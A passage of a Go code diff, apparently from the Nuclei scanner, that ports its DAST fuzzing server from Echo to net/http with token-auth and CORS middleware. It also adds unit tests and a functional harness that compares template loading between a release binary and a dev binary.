info := templateVersionInfo(cfg, nil)
|
||||
if !strings.Contains(info, "v1.2.3") || !strings.Contains(info, "outdated") {
|
||||
t.Fatalf("template version info = %q, want normal version comparison", info)
|
||||
}
|
||||
if strings.Contains(info, "package-managed") {
|
||||
t.Fatalf("template version info retained discovery ownership: %q", info)
|
||||
}
|
||||
}
|
||||
@@ -6,7 +6,7 @@ import (
|
||||
_ "net/http/pprof"
|
||||
"strings"
|
||||
|
||||
"github.com/logrusorgru/aurora"
|
||||
"github.com/logrusorgru/aurora/v4"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats"
|
||||
@@ -55,7 +55,7 @@ type NucleiExecutorOptions struct {
|
||||
ProjectFile *projectfile.ProjectFile
|
||||
Browser *browserEngine.Browser
|
||||
FuzzStatsDB *stats.Tracker
|
||||
Colorizer aurora.Aurora
|
||||
Colorizer *aurora.Aurora
|
||||
Parser parser.Parser
|
||||
TemporaryDirectory string
|
||||
Logger *gologger.Logger
|
||||
@@ -117,15 +117,17 @@ func newNucleiExecutor(opts *NucleiExecutorOptions) (*nucleiExecutor, error) {
|
||||
|
||||
// If using input-file flags, only load http fuzzing based templates.
|
||||
loaderConfig := loader.NewConfig(opts.Options, opts.Catalog, executorOpts)
|
||||
if !strings.EqualFold(opts.Options.InputFileMode, "list") || opts.Options.DAST || opts.Options.DASTServer {
|
||||
// if input type is not list (implicitly enable fuzzing)
|
||||
if (!strings.EqualFold(opts.Options.InputFileMode, "list") || opts.Options.DAST || opts.Options.DASTServer) && !opts.Options.OfflineHTTP {
|
||||
// if input type is not list (implicitly enable fuzzing), unless passive/offlinehttp
|
||||
opts.Options.DAST = true
|
||||
}
|
||||
store, err := loader.New(loaderConfig)
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "Could not create loader options.")
|
||||
}
|
||||
store.Load()
|
||||
if err := store.Load(); err != nil {
|
||||
return nil, errors.Wrap(err, "Could not load templates.")
|
||||
}
|
||||
|
||||
return &nucleiExecutor{
|
||||
engine: executorEngine,
|
||||
@@ -188,10 +190,13 @@ func (n *nucleiExecutor) ExecuteScan(target PostRequestsHandlerRequest) error {
|
||||
}
|
||||
|
||||
func (n *nucleiExecutor) Close() {
|
||||
if n == nil || n.executorOpts == nil {
|
||||
return
|
||||
}
|
||||
if n.executorOpts.FuzzStatsDB != nil {
|
||||
n.executorOpts.FuzzStatsDB.Close()
|
||||
}
|
||||
if n.options.Interactsh != nil {
|
||||
if n.options != nil && n.options.Interactsh != nil {
|
||||
_ = n.options.Interactsh.Close()
|
||||
}
|
||||
if n.executorOpts.InputHelper != nil {
|
||||
|
||||
+152
-49
@@ -2,6 +2,7 @@ package server
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"html/template"
|
||||
"net/http"
|
||||
@@ -11,8 +12,6 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/alitto/pond"
|
||||
"github.com/labstack/echo/v4"
|
||||
"github.com/labstack/echo/v4/middleware"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/server/scope"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
@@ -25,7 +24,7 @@ import (
|
||||
// DASTServer is a server that performs execution of fuzzing templates
|
||||
// on user input passed to the API.
|
||||
type DASTServer struct {
|
||||
echo *echo.Echo
|
||||
httpServer *http.Server
|
||||
options *Options
|
||||
tasksPool *pond.WorkerPool
|
||||
deduplicator *requestDeduplicator
|
||||
@@ -111,6 +110,7 @@ func New(options *Options) (*DASTServer, error) {
|
||||
|
||||
func NewStatsServer(fuzzStatsDB *stats.Tracker) (*DASTServer, error) {
|
||||
server := &DASTServer{
|
||||
options: &Options{},
|
||||
nucleiExecutor: &nucleiExecutor{
|
||||
executorOpts: &protocols.ExecutorOptions{
|
||||
FuzzStatsDB: fuzzStatsDB,
|
||||
@@ -124,91 +124,101 @@ func NewStatsServer(fuzzStatsDB *stats.Tracker) (*DASTServer, error) {
|
||||
}
|
||||
|
||||
func (s *DASTServer) Close() {
|
||||
s.nucleiExecutor.Close()
|
||||
_ = s.echo.Close()
|
||||
s.tasksPool.StopAndWaitFor(1 * time.Minute)
|
||||
if s.nucleiExecutor != nil {
|
||||
s.nucleiExecutor.Close()
|
||||
}
|
||||
if s.httpServer != nil {
|
||||
_ = s.httpServer.Close()
|
||||
}
|
||||
if s.tasksPool != nil {
|
||||
s.tasksPool.StopAndWaitFor(1 * time.Minute)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *DASTServer) buildURL(endpoint string) string {
|
||||
values := make(url.Values)
|
||||
if s.options.Token != "" {
|
||||
values.Set("token", s.options.Token)
|
||||
opts := s.optionsOrDefault()
|
||||
if opts.Token != "" {
|
||||
values.Set("token", opts.Token)
|
||||
}
|
||||
|
||||
// Use url.URL struct to safely construct the URL
|
||||
u := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: s.options.Address,
|
||||
Host: opts.Address,
|
||||
Path: endpoint,
|
||||
RawQuery: values.Encode(),
|
||||
}
|
||||
return u.String()
|
||||
}
|
||||
|
||||
func (s *DASTServer) optionsOrDefault() *Options {
|
||||
if s.options != nil {
|
||||
return s.options
|
||||
}
|
||||
return &Options{}
|
||||
}
|
||||
|
||||
func (s *DASTServer) setupHandlers(onlyStats bool) {
|
||||
e := echo.New()
|
||||
e.Use(middleware.Recover())
|
||||
if s.options.Verbose {
|
||||
cfg := middleware.DefaultLoggerConfig
|
||||
cfg.Skipper = func(c echo.Context) bool {
|
||||
// Skip /stats and /stats.json
|
||||
return c.Request().URL.Path == "/stats" || c.Request().URL.Path == "/stats.json"
|
||||
}
|
||||
e.Use(middleware.LoggerWithConfig(cfg))
|
||||
}
|
||||
e.Use(middleware.CORS())
|
||||
|
||||
if s.options.Token != "" {
|
||||
e.Use(middleware.KeyAuthWithConfig(middleware.KeyAuthConfig{
|
||||
KeyLookup: "query:token",
|
||||
Validator: func(key string, c echo.Context) (bool, error) {
|
||||
return key == s.options.Token, nil
|
||||
},
|
||||
}))
|
||||
}
|
||||
|
||||
e.HideBanner = true
|
||||
mux := http.NewServeMux()
|
||||
// POST /fuzz - Queue a request for fuzzing
|
||||
if !onlyStats {
|
||||
e.POST("/fuzz", s.handleRequest)
|
||||
mux.HandleFunc("POST /fuzz", s.handleRequest)
|
||||
}
|
||||
e.GET("/stats", s.handleStats)
|
||||
e.GET("/stats.json", s.handleStatsJSON)
|
||||
mux.HandleFunc("GET /stats", s.handleStats)
|
||||
mux.HandleFunc("GET /stats.json", s.handleStatsJSON)
|
||||
|
||||
s.echo = e
|
||||
handler := http.Handler(mux)
|
||||
opts := s.optionsOrDefault()
|
||||
if opts.Token != "" {
|
||||
handler = s.tokenAuthMiddleware(handler)
|
||||
}
|
||||
handler = corsMiddleware(handler)
|
||||
if opts.Verbose {
|
||||
handler = requestLoggerMiddleware(handler)
|
||||
}
|
||||
handler = recoverMiddleware(handler)
|
||||
|
||||
s.httpServer = &http.Server{Handler: handler}
|
||||
}
|
||||
|
||||
func (s *DASTServer) Start() error {
|
||||
if err := s.echo.Start(s.options.Address); err != nil && err != http.ErrServerClosed {
|
||||
if s.httpServer == nil {
|
||||
s.setupHandlers(false)
|
||||
}
|
||||
s.httpServer.Addr = s.optionsOrDefault().Address
|
||||
if err := s.httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// PostReuestsHandlerRequest is the request body for the /fuzz POST handler.
|
||||
// PostRequestsHandlerRequest is the request body for the /fuzz POST handler.
|
||||
type PostRequestsHandlerRequest struct {
|
||||
RawHTTP string `json:"raw_http"`
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
func (s *DASTServer) handleRequest(c echo.Context) error {
|
||||
func (s *DASTServer) handleRequest(w http.ResponseWriter, r *http.Request) {
|
||||
var req PostRequestsHandlerRequest
|
||||
if err := c.Bind(&req); err != nil {
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
fmt.Printf("Error binding request: %s\n", err)
|
||||
return err
|
||||
writeServerJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// Validate the request
|
||||
if req.RawHTTP == "" || req.URL == "" {
|
||||
fmt.Printf("Missing required fields\n")
|
||||
return c.JSON(400, map[string]string{"error": "missing required fields"})
|
||||
writeServerJSON(w, http.StatusBadRequest, map[string]string{"error": "missing required fields"})
|
||||
return
|
||||
}
|
||||
|
||||
s.endpointsInQueue.Add(1)
|
||||
s.tasksPool.Submit(func() {
|
||||
s.consumeTaskRequest(req)
|
||||
})
|
||||
return c.NoContent(200)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}
|
||||
|
||||
type StatsResponse struct {
|
||||
@@ -274,23 +284,116 @@ func (s *DASTServer) getStats() (StatsResponse, error) {
|
||||
//go:embed templates/index.html
|
||||
var indexTemplate string
|
||||
|
||||
func (s *DASTServer) handleStats(c echo.Context) error {
|
||||
func (s *DASTServer) handleStats(w http.ResponseWriter, _ *http.Request) {
|
||||
stats, err := s.getStats()
|
||||
if err != nil {
|
||||
return c.JSON(500, map[string]string{"error": err.Error()})
|
||||
writeServerJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
tmpl, err := template.New("index").Parse(indexTemplate)
|
||||
if err != nil {
|
||||
return c.JSON(500, map[string]string{"error": err.Error()})
|
||||
writeServerJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if err := tmpl.Execute(w, stats); err != nil {
|
||||
writeServerJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()})
|
||||
}
|
||||
return tmpl.Execute(c.Response().Writer, stats)
|
||||
}
|
||||
|
||||
func (s *DASTServer) handleStatsJSON(c echo.Context) error {
|
||||
func (s *DASTServer) handleStatsJSON(w http.ResponseWriter, _ *http.Request) {
|
||||
resp, err := s.getStats()
|
||||
if err != nil {
|
||||
return c.JSON(500, map[string]string{"error": err.Error()})
|
||||
writeServerJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
return c.JSONPretty(200, resp, " ")
|
||||
writeServerJSONPretty(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *DASTServer) tokenAuthMiddleware(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
token := r.URL.Query().Get("token")
|
||||
if token == "" {
|
||||
writeServerJSON(w, http.StatusBadRequest, map[string]string{"message": "missing key in the query string"})
|
||||
return
|
||||
}
|
||||
if token != s.optionsOrDefault().Token {
|
||||
writeServerJSON(w, http.StatusUnauthorized, map[string]string{"message": "Unauthorized"})
|
||||
return
|
||||
}
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
func corsMiddleware(next http.Handler) http.Handler {
|
||||
const allowMethods = "GET,HEAD,PUT,PATCH,POST,DELETE"
|
||||
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
origin := r.Header.Get("Origin")
|
||||
w.Header().Add("Vary", "Origin")
|
||||
if origin != "" {
|
||||
w.Header().Set("Access-Control-Allow-Origin", "*")
|
||||
}
|
||||
if r.Method == http.MethodOptions {
|
||||
if origin != "" {
|
||||
w.Header().Add("Vary", "Access-Control-Request-Method")
|
||||
w.Header().Add("Vary", "Access-Control-Request-Headers")
|
||||
w.Header().Set("Access-Control-Allow-Methods", allowMethods)
|
||||
if headers := r.Header.Get("Access-Control-Request-Headers"); headers != "" {
|
||||
w.Header().Set("Access-Control-Allow-Headers", headers)
|
||||
}
|
||||
}
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
return
|
||||
}
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
func requestLoggerMiddleware(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/stats" || r.URL.Path == "/stats.json" {
|
||||
next.ServeHTTP(w, r)
|
||||
return
|
||||
}
|
||||
recorder := &statusRecorder{ResponseWriter: w, statusCode: http.StatusOK}
|
||||
start := time.Now()
|
||||
next.ServeHTTP(recorder, r)
|
||||
fmt.Printf("%s %s %d %s\n", r.Method, r.URL.RequestURI(), recorder.statusCode, time.Since(start))
|
||||
})
|
||||
}
|
||||
|
||||
func recoverMiddleware(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
defer func() {
|
||||
if recovered := recover(); recovered != nil {
|
||||
http.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)
|
||||
}
|
||||
}()
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
type statusRecorder struct {
|
||||
http.ResponseWriter
|
||||
statusCode int
|
||||
}
|
||||
|
||||
func (r *statusRecorder) WriteHeader(statusCode int) {
|
||||
r.statusCode = statusCode
|
||||
r.ResponseWriter.WriteHeader(statusCode)
|
||||
}
|
||||
|
||||
func writeServerJSON(w http.ResponseWriter, statusCode int, value interface{}) {
|
||||
w.Header().Set("Content-Type", "application/json; charset=UTF-8")
|
||||
w.WriteHeader(statusCode)
|
||||
_ = json.NewEncoder(w).Encode(value)
|
||||
}
|
||||
|
||||
func writeServerJSONPretty(w http.ResponseWriter, statusCode int, value interface{}) {
|
||||
w.Header().Set("Content-Type", "application/json; charset=UTF-8")
|
||||
w.WriteHeader(statusCode)
|
||||
encoder := json.NewEncoder(w)
|
||||
encoder.SetIndent("", " ")
|
||||
_ = encoder.Encode(value)
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestDASTServerTokenAuthRejectsMissingAndInvalidTokens(t *testing.T) {
|
||||
server := &DASTServer{options: &Options{Token: "secret"}}
|
||||
server.setupHandlers(false)
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
target string
|
||||
statusCode int
|
||||
}{
|
||||
{
|
||||
name: "missing token",
|
||||
target: "/stats",
|
||||
statusCode: http.StatusBadRequest,
|
||||
},
|
||||
{
|
||||
name: "invalid token",
|
||||
target: "/stats?token=wrong",
|
||||
statusCode: http.StatusUnauthorized,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
request := httptest.NewRequest(http.MethodGet, tt.target, nil)
|
||||
response := httptest.NewRecorder()
|
||||
|
||||
server.httpServer.Handler.ServeHTTP(response, request)
|
||||
|
||||
require.Equal(t, tt.statusCode, response.Code)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDASTServerCORSPreflightBypassesTokenAuth(t *testing.T) {
|
||||
server := &DASTServer{options: &Options{Token: "secret"}}
|
||||
server.setupHandlers(false)
|
||||
|
||||
request := httptest.NewRequest(http.MethodOptions, "/stats", nil)
|
||||
request.Header.Set("Origin", "https://example.com")
|
||||
request.Header.Set("Access-Control-Request-Headers", "X-Test")
|
||||
response := httptest.NewRecorder()
|
||||
|
||||
server.httpServer.Handler.ServeHTTP(response, request)
|
||||
|
||||
require.Equal(t, http.StatusNoContent, response.Code)
|
||||
require.Equal(t, "*", response.Header().Get("Access-Control-Allow-Origin"))
|
||||
require.Equal(t, "GET,HEAD,PUT,PATCH,POST,DELETE", response.Header().Get("Access-Control-Allow-Methods"))
|
||||
require.Equal(t, "X-Test", response.Header().Get("Access-Control-Allow-Headers"))
|
||||
}
|
||||
|
||||
func TestStatsServerCloseDoesNotRequireFullExecutorOptions(t *testing.T) {
|
||||
server, err := NewStatsServer(nil)
|
||||
require.NoError(t, err)
|
||||
|
||||
require.NotPanics(t, server.Close)
|
||||
}
|
||||
@@ -0,0 +1,512 @@
|
||||
//go:build functional
|
||||
// +build functional
|
||||
|
||||
package functional_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/google/shlex"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
|
||||
)
|
||||
|
||||
type functionalHarness struct {
|
||||
repoRoot string
|
||||
testcasesPath string
|
||||
configDir string
|
||||
releaseBinary string
|
||||
currentBinary string
|
||||
releaseRunner *testutils.Runner
|
||||
currentRunner *testutils.Runner
|
||||
debug bool
|
||||
ci bool
|
||||
runner *testutils.Runner
|
||||
}
|
||||
|
||||
var suite functionalHarness
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
os.Exit(runTestMain(m))
|
||||
}
|
||||
|
||||
func runTestMain(m *testing.M) int {
|
||||
wd, err := os.Getwd()
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "failed to determine working directory: %v\n", err)
|
||||
return 1
|
||||
}
|
||||
|
||||
repoRoot := filepath.Clean(filepath.Join(wd, "../../.."))
|
||||
configDir, err := os.MkdirTemp("", "nuclei-functional-config-*")
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "failed to create functional config dir: %v\n", err)
|
||||
return 1
|
||||
}
|
||||
suite = functionalHarness{
|
||||
repoRoot: repoRoot,
|
||||
testcasesPath: filepath.Join(repoRoot, "internal", "tests", "functional", "testdata", "testcases.txt"),
|
||||
configDir: configDir,
|
||||
debug: isDebugMode(),
|
||||
ci: isCI(),
|
||||
runner: testutils.NewRunner(
|
||||
testutils.WithWorkingDir(repoRoot),
|
||||
testutils.WithBaseEnv(
|
||||
"NUCLEI_CONFIG_DIR="+configDir,
|
||||
"NUCLEI_TEMPLATES_DIR="+filepath.Join(configDir, "templates"),
|
||||
"XDG_STATE_HOME="+filepath.Join(configDir, "state"),
|
||||
"XDG_CACHE_HOME="+filepath.Join(configDir, "cache"),
|
||||
),
|
||||
),
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(configDir)
|
||||
}()
|
||||
|
||||
if suite.ci {
|
||||
releaseBinary, err := resolveFunctionalBinary(os.Getenv("RELEASE_BINARY"), "nuclei")
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "failed to find release nuclei binary on PATH: %v\n", err)
|
||||
return 1
|
||||
}
|
||||
currentBinary, err := resolveCurrentFunctionalBinary(repoRoot)
|
||||
if err != nil {
|
||||
fmt.Fprintln(os.Stderr, err)
|
||||
return 1
|
||||
}
|
||||
suite.releaseBinary = releaseBinary
|
||||
suite.currentBinary = currentBinary
|
||||
suite.releaseRunner = suite.runner.Clone(testutils.WithBinaryPath(releaseBinary))
|
||||
suite.currentRunner = suite.runner.Clone(testutils.WithBinaryPath(currentBinary))
|
||||
if err := prepareFunctionalEnvironment(currentBinary, repoRoot, configDir); err != nil {
|
||||
fmt.Fprintln(os.Stderr, err)
|
||||
return 1
|
||||
}
|
||||
}
|
||||
|
||||
return m.Run()
|
||||
}
|
||||
|
||||
func TestFunctionalComparison(t *testing.T) {
|
||||
if !suite.ci {
|
||||
t.Skip("functional suite requires CI=true; use make functional-dev for local release-vs-dev comparisons")
|
||||
}
|
||||
|
||||
testcases, err := loadFunctionalTestcases(suite.testcasesPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to load functional testcases: %v", err)
|
||||
}
|
||||
semaphore := make(chan struct{}, functionalParallelism())
|
||||
|
||||
for index, testcase := range testcases {
|
||||
testcase := testcase
|
||||
name := functionalTestName(index, testcase.raw)
|
||||
t.Run(name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
if err := runFunctionalCase(testcase.args, suite.debug); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
type functionalTestcase struct {
|
||||
raw string
|
||||
args []string
|
||||
}
|
||||
|
||||
func loadFunctionalTestcases(path string) ([]functionalTestcase, error) {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = file.Close() }()
|
||||
|
||||
var testcases []functionalTestcase
|
||||
seen := make(map[string]struct{})
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
if _, ok := seen[line]; ok {
|
||||
continue
|
||||
}
|
||||
args := splitFunctionalArgs(line)
|
||||
if len(args) == 0 {
|
||||
continue
|
||||
}
|
||||
seen[line] = struct{}{}
|
||||
testcases = append(testcases, functionalTestcase{raw: line, args: args})
|
||||
}
|
||||
if err := scanner.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return testcases, nil
|
||||
}
|
||||
|
||||
func splitFunctionalArgs(testcase string) []string {
|
||||
parts, err := shlex.Split(testcase)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if len(parts) <= 1 {
|
||||
return nil
|
||||
}
|
||||
args := parts[1:]
|
||||
restoreRawFlagValues(args, "-tc", extractRawFlagValues(testcase, "-tc"))
|
||||
return args
|
||||
}
|
||||
|
||||
func extractRawFlagValues(testcase, flagName string) []string {
|
||||
values := make([]string, 0, 1)
|
||||
for searchStart := 0; searchStart < len(testcase); {
|
||||
flagIndex := findFlagIndex(testcase[searchStart:], flagName)
|
||||
if flagIndex == -1 {
|
||||
break
|
||||
}
|
||||
|
||||
flagStart := searchStart + flagIndex
|
||||
valueStart := flagStart + len(flagName)
|
||||
for valueStart < len(testcase) && isFunctionalArgSpace(testcase[valueStart]) {
|
||||
valueStart++
|
||||
}
|
||||
if valueStart >= len(testcase) {
|
||||
break
|
||||
}
|
||||
|
||||
valueEnd := scanFlagValueEnd(testcase, valueStart)
|
||||
values = append(values, trimMatchingQuotes(strings.TrimSpace(testcase[valueStart:valueEnd])))
|
||||
searchStart = valueEnd
|
||||
}
|
||||
return values
|
||||
}
|
||||
|
||||
func findFlagIndex(input, flagName string) int {
|
||||
for searchIndex := 0; searchIndex < len(input); {
|
||||
candidate := strings.Index(input[searchIndex:], flagName)
|
||||
if candidate == -1 {
|
||||
return -1
|
||||
}
|
||||
candidate += searchIndex
|
||||
if functionalFlagBoundary(input, candidate, len(flagName)) {
|
||||
return candidate
|
||||
}
|
||||
searchIndex = candidate + len(flagName)
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
func functionalFlagBoundary(input string, start, length int) bool {
|
||||
if start > 0 && !isFunctionalArgSpace(input[start-1]) {
|
||||
return false
|
||||
}
|
||||
end := start + length
|
||||
return end == len(input) || isFunctionalArgSpace(input[end])
|
||||
}
|
||||
|
||||
func scanFlagValueEnd(input string, start int) int {
|
||||
quote := byte(0)
|
||||
for index := start; index < len(input); index++ {
|
||||
char := input[index]
|
||||
if quote != 0 {
|
||||
if char == quote {
|
||||
quote = 0
|
||||
}
|
||||
continue
|
||||
}
|
||||
switch char {
|
||||
case '\'', '"':
|
||||
quote = char
|
||||
case ' ', '\t', '\n', '\r':
|
||||
next := index
|
||||
for next < len(input) && isFunctionalArgSpace(input[next]) {
|
||||
next++
|
||||
}
|
||||
if next < len(input) && input[next] == '-' && next+1 < len(input) && isFunctionalFlagStart(input[next+1]) {
|
||||
return index
|
||||
}
|
||||
}
|
||||
}
|
||||
return len(input)
|
||||
}
|
||||
|
||||
func isFunctionalArgSpace(char byte) bool {
|
||||
switch char {
|
||||
case ' ', '\t', '\n', '\r':
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func isFunctionalFlagStart(char byte) bool {
|
||||
return (char >= 'a' && char <= 'z') || (char >= 'A' && char <= 'Z')
|
||||
}
|
||||
|
||||
func restoreRawFlagValues(args []string, flagName string, rawValues []string) {
|
||||
if len(rawValues) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
rawIndex := 0
|
||||
for index := 0; index < len(args)-1 && rawIndex < len(rawValues); index++ {
|
||||
if args[index] != flagName {
|
||||
continue
|
||||
}
|
||||
args[index+1] = rawValues[rawIndex]
|
||||
rawIndex++
|
||||
}
|
||||
}
|
||||
|
||||
func trimMatchingQuotes(value string) string {
|
||||
if len(value) < 2 {
|
||||
return value
|
||||
}
|
||||
if (value[0] == '\'' && value[len(value)-1] == '\'') || (value[0] == '"' && value[len(value)-1] == '"') {
|
||||
return value[1 : len(value)-1]
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func TestSplitFunctionalArgs(t *testing.T) {
|
||||
t.Run("quoted values", func(t *testing.T) {
|
||||
args := splitFunctionalArgs(`{{binary}} -tags "cve,exposure" -author "geeknik,pdteam" -severity high,critical`)
|
||||
expected := []string{"-tags", "cve,exposure", "-author", "geeknik,pdteam", "-severity", "high,critical"}
|
||||
if strings.Join(args, "\x00") != strings.Join(expected, "\x00") {
|
||||
t.Fatalf("unexpected args: got=%q want=%q", args, expected)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("tc expression preserves quotes", func(t *testing.T) {
|
||||
args := splitFunctionalArgs(`{{binary}} -tags cve -author geeknik,pdteam -tc severity=='high'`)
|
||||
expected := []string{"-tags", "cve", "-author", "geeknik,pdteam", "-tc", "severity=='high'"}
|
||||
if strings.Join(args, "\x00") != strings.Join(expected, "\x00") {
|
||||
t.Fatalf("unexpected args: got=%q want=%q", args, expected)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("tc expression before next flag", func(t *testing.T) {
|
||||
args := splitFunctionalArgs(`{{binary}} -tc contains(tags,'cve') -exclude-templates http/cves/2020/CVE-2020-9757.yaml`)
|
||||
expected := []string{"-tc", "contains(tags,'cve')", "-exclude-templates", "http/cves/2020/CVE-2020-9757.yaml"}
|
||||
if strings.Join(args, "\x00") != strings.Join(expected, "\x00") {
|
||||
t.Fatalf("unexpected args: got=%q want=%q", args, expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func functionalTestName(index int, raw string) string {
|
||||
name := raw
|
||||
name = strings.TrimPrefix(name, "{{binary}}")
|
||||
name = strings.TrimSpace(name)
|
||||
name = strings.ReplaceAll(name, " ", "_")
|
||||
name = strings.ReplaceAll(name, "/", "-")
|
||||
if len(name) > 80 {
|
||||
name = name[:80]
|
||||
}
|
||||
if name == "" {
|
||||
name = "binary"
|
||||
}
|
||||
return fmt.Sprintf("%03d_%s", index+1, name)
|
||||
}
|
||||
|
||||
func functionalParallelism() int {
|
||||
for _, envName := range []string{"FUNCTIONAL_PARALLELISM", "PARALLELISM"} {
|
||||
if value := strings.TrimSpace(os.Getenv(envName)); value != "" {
|
||||
if parsed, err := strconv.Atoi(value); err == nil && parsed > 0 {
|
||||
return parsed
|
||||
}
|
||||
}
|
||||
}
|
||||
processBudget := max(min(runtime.GOMAXPROCS(0), 4), 1)
|
||||
return max((processBudget+1)/2, 1)
|
||||
}
|
||||
|
||||
func runFunctionalCase(args []string, debug bool) error {
|
||||
if suite.releaseRunner == nil || suite.currentRunner == nil {
|
||||
return fmt.Errorf("functional runners are not initialized")
|
||||
}
|
||||
|
||||
var (
|
||||
releaseOutput string
|
||||
currentOutput string
|
||||
releaseErr error
|
||||
currentErr error
|
||||
)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(2)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
releaseOutput, releaseErr = suite.releaseRunner.LoadedTemplates("", debug, args)
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
currentOutput, currentErr = suite.currentRunner.LoadedTemplates("", debug, args)
|
||||
}()
|
||||
wg.Wait()
|
||||
|
||||
if releaseErr != nil {
|
||||
return fmt.Errorf("could not run release nuclei test: %w", releaseErr)
|
||||
}
|
||||
if currentErr != nil {
|
||||
return fmt.Errorf("could not run current nuclei test: %w", currentErr)
|
||||
}
|
||||
if releaseOutput != currentOutput {
|
||||
return fmt.Errorf("release loaded %s templates but current loaded %s", releaseOutput, currentOutput)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func buildCurrentBinary(repoRoot, binaryPath string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(binaryPath), 0755); err != nil {
|
||||
return fmt.Errorf("failed to create bin directory: %w", err)
|
||||
}
|
||||
cmd := exec.Command("go", "build", "-o", binaryPath, "./cmd/nuclei")
|
||||
cmd.Dir = repoRoot
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to build current nuclei binary: %w\n%s", err, strings.TrimSpace(string(output)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func resolveCurrentFunctionalBinary(repoRoot string) (string, error) {
|
||||
configuredBinary := strings.TrimSpace(os.Getenv("DEV_BINARY"))
|
||||
if configuredBinary != "" {
|
||||
if resolved, ok := resolveExistingBinaryPath(configuredBinary); ok {
|
||||
return resolved, nil
|
||||
}
|
||||
}
|
||||
currentBinary := filepath.Join(repoRoot, "bin", binaryName())
|
||||
if err := buildCurrentBinary(repoRoot, currentBinary); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return currentBinary, nil
|
||||
}
|
||||
|
||||
func resolveFunctionalBinary(configuredPath, executableName string) (string, error) {
|
||||
